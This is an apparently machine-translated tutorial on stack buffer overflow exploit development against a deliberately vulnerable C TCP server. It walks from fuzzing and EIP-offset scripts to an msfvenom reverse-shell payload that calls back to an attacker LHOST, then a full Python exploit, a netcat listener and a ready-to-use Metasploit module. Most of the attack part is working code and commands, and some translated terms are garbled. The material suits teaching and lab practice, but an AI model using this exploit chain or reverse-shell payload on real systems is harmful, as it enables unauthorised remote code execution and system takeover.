Introduction to exploit development
Exploit development is one of the fundamental skills in offensive cybersecurity. Understanding how vulnerabilities are discovered, exploited, and turned into reusable tools (such as Metasploit modules) is essential for any security professional, whether it's pentesting or understanding how to protect systems.
In this article we are going to go through the complete process: from analyzing a vulnerable server with a buffer overflow classic in the stack (stack), to writing a working exploit and turning it into a Metasploit module.
The vulnerable server
To practice, we will use a simple TCP server written in C that contains a deliberate vulnerability: a strcpy without boundary control that copies network data directly to a fixed-size local buffer.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>
#define PORT "7777"
#define BACKLOG 10
/* Función vulnerable: copia net_buffer en un buffer local
de solo 120 bytes sin verificar longitud */
void vulnerable(char *net_buffer)
{
char local_buffer[120];
strcpy(local_buffer, net_buffer); // ← VULNERABLE
return;
}The function vulnerable() is the core of the problem: declare a local_buffer of 120 bytes on the stack and uses strcpy() to copy data received from the network without any length validation. If the client sends more than 120 bytes, it will overwrite the saved return address (return address) on the stack, allowing the attacker to redirect program execution.
Step 1: Identify the vulnerability
The first step in developing an exploit is to identify where the vulnerability lies. In source code, we look for unsafe functions like:
strcpy()— does not check limitsstrcat()— concatenates without checking available spacesprintf()— format without destination limitgets()— reads without limit (removed in C11)
In our case, the vulnerability is evident in the function vulnerable(). In a real scenario, we would have to do fuzzing to discover it.
Step 2: Cause the crash (fuzzing)
Before writing the exploit, we need to confirm that we can cause a controlled crash. We compile the server without stack protections for easy practice:
# Compilar sin stack canary ni ASLR para práctica
gcc -fno-stack-protector -z execstack -no-pie -o vuln_server vuln_server.c
# Desactivar ASLR temporalmente (requiere root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# Ejecutar el servidor
./vuln_serverNow we send a test payload with Python to cause the crash:
import socket
target = "127.0.0.1"
port = 7777
# Enviar 200 bytes de 'A' para desbordar el buffer de 120
payload = b"A" * 200
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
banner = s.recv(1024)
print(f"[*] Banner: {banner}")
s.send(payload)
s.close()
print("[*] Payload enviado")If the server crashes with a Segmentation Fault, we have confirmed that the vulnerability is exploitable.
Step 3: Control EIP
The next objective is to determine exactly what offset of the buffer the return address (EIP on x86) is overwritten. For this we use a unique pattern generated by Metasploit:
# Generar patrón único de 200 bytes
msf-pattern_create -l 200
# Después del crash, buscar el valor de EIP en el patrón
# Si EIP = 0x63413163 (ejemplo)
msf-pattern_offset -l 200 -q 63413163
# Resultado: Exact match at offset 132This tells us that after 132 bytes of padding, the next 4 bytes overwrite EIP. We verify with a script:
import socket
import struct
offset = 132
eip = b"BBBB" # 0x42424242
payload = b"A" * offset + eip + b"C" * 64
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 7777))
s.recv(1024)
s.send(payload)
s.close()In GDB, if we see that EIP is worth 0x42424242, we confirm full control over the execution flow.
Step 4: Find space for shellcode
We need to locate where to put our shellcode in memory. Common options are:
- After EIP: the bytes following the return address (the
Cof our payload) - Before EIP: the fill buffer itself (the
A)
For a 120 byte buffer, we usually put the shellcode after EIP and use an instruction JMP ESP as a springboard:
# Buscar instrucción JMP ESP en las librerías cargadas
msf-jmpcall -s jmp -r esp /usr/lib/libc.so.6
# O dentro de GDB:
# (gdb) find /b 0x08048000, 0x0804ffff, 0xff, 0xe4Step 5: Generate the shellcode
We use msfvenom to generate shellcode that opens a reverse shell:
# Generar shellcode para reverse shell Linux x86
# Excluimos bytes nulos (\x00) que cortarían strcpy
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-b '\x00' \
-f python -v shellcodeStep 6: Build the full exploit
#!/usr/bin/env python3
import socket
import struct
# Configuración
TARGET = "192.168.1.50"
PORT = 7777
OFFSET = 132
# Dirección de JMP ESP (ajustar según el entorno)
JMP_ESP = struct.pack("<I", 0x08049263)
# NOP sled para mayor fiabilidad
NOP_SLED = b"\x90" * 16
# Shellcode generado con msfvenom (reverse shell)
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100
# LPORT=4444 -b '\x00' -f python
shellcode = b""
shellcode += b"\xdb\xc0\xd9\x74\x24\xf4\x5b\x53"
# ... (shellcode completo generado por msfvenom)
# Construir el payload
payload = b"A" * OFFSET # Relleno hasta EIP
payload += JMP_ESP # Sobrescribir EIP con JMP ESP
payload += NOP_SLED # NOP sled de seguridad
payload += shellcode # Shellcode de reverse shell
# Enviar exploit
print(f"[*] Conectando a {TARGET}:{PORT}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
banner = s.recv(1024)
print(f"[*] Banner: {banner.decode()}")
print(f"[*] Enviando payload ({len(payload)} bytes)")
s.send(payload)
s.close()
print("[*] Payload enviado. Verifica tu listener.")Before launching the exploit, we set up a listener on our machine:
nc -lvnp 4444Step 7: Convert it to a Metasploit module
Once our exploit works, we can integrate it into the Metasploit Framework as a reusable module:
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Vulnerable Server Buffer Overflow',
'Description' => %q{
Exploit de buffer overflow para el servidor vulnerable
que escucha en el puerto 7777. La función vulnerable()
usa strcpy() sin verificar límites.
},
'Author' => ['rokitoh'],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' => [
['Linux x86', { 'Ret' => 0x08049263 }]
],
'DefaultTarget' => 0,
'Payload' => {
'Space' => 400,
'BadChars' => "\x00"
}
))
register_options([
Opt::RPORT(7777)
])
end
def exploit
connect
# Recibir banner
banner = sock.get_once
print_status("Banner: #{banner}")
# Construir buffer
buf = rand_text_alpha(132) # Relleno
buf << [target.ret].pack('V') # EIP → JMP ESP
buf << make_nops(16) # NOP sled
buf << payload.encoded # Shellcode
print_status("Enviando exploit (#{buf.length} bytes)")
sock.put(buf)
handler
disconnect
end
endTo use the module, we copy it to the Metasploit modules directory and run it:
# Copiar el módulo
cp vuln_server_exploit.rb ~/.msf4/modules/exploits/linux/misc/
# En msfconsole
msf6> use exploit/linux/misc/vuln_server_exploit
msf6 exploit(vuln_server_exploit)> set RHOSTS 192.168.1.50
msf6 exploit(vuln_server_exploit)> set LHOST 192.168.1.100
msf6 exploit(vuln_server_exploit)> set PAYLOAD linux/x86/shell_reverse_tcp
msf6 exploit(vuln_server_exploit)> exploitModern protections against buffer overflow
On modern systems, several protections make these types of exploits difficult:
- ASLR (Address Space Layout Randomization): randomizes memory addresses on each run, making the location of
JMP ESP - Stack Canaries: sentinel values that are checked before returning from a function; if they are overwritten, the program aborts
- NX/DEP (No-Execute / Data Execution Prevention): marks the stack as non-executable, preventing direct execution of shellcode
- FOOT (Position Independent Executables): the binary itself is loaded at random addresses
- RELRO- protects the GOT table against overwriting
Techniques like R.O.P. (Return-Oriented Programming), ret2libc and format string attacks They allow you to evade some of these protections, but their complexity is significantly greater.
Legal and ethical considerations
The development of exploits is a legitimate activity within the field of cybersecurity, as long as it is carried out:
- In controlled laboratory environments
- With explicit authorization of the system owner
- In the context of professional penetration testing
- For educational or security research purposes
Using exploits against unauthorized systems is a crime in most jurisdictions.
:wq!
Comments